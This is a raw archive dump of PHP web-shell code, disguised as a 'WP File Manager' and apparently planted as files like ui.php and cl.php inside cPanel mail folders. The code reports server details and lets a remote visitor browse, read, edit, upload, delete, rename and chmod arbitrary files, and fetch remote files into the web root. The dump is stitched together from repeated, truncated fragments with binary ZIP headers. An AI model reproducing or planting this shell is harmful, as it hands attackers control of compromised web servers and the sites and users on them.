"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]CO¹ò®Ë®Ëinfo@hekurangashi.info/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]/€BBeros@drsupernova.com/.metadatanu„[µü¤[addressbook] type VADDRESSBOOK protected 1 displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. [calendar] displayname cPanel CalDAV Calendar calendar-color #ff6c2c description Default Calendar automatically created for your account. protected 1 type VCALENDAR PK’&{]„N9³§Ë§Ëeros@drsupernova.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = 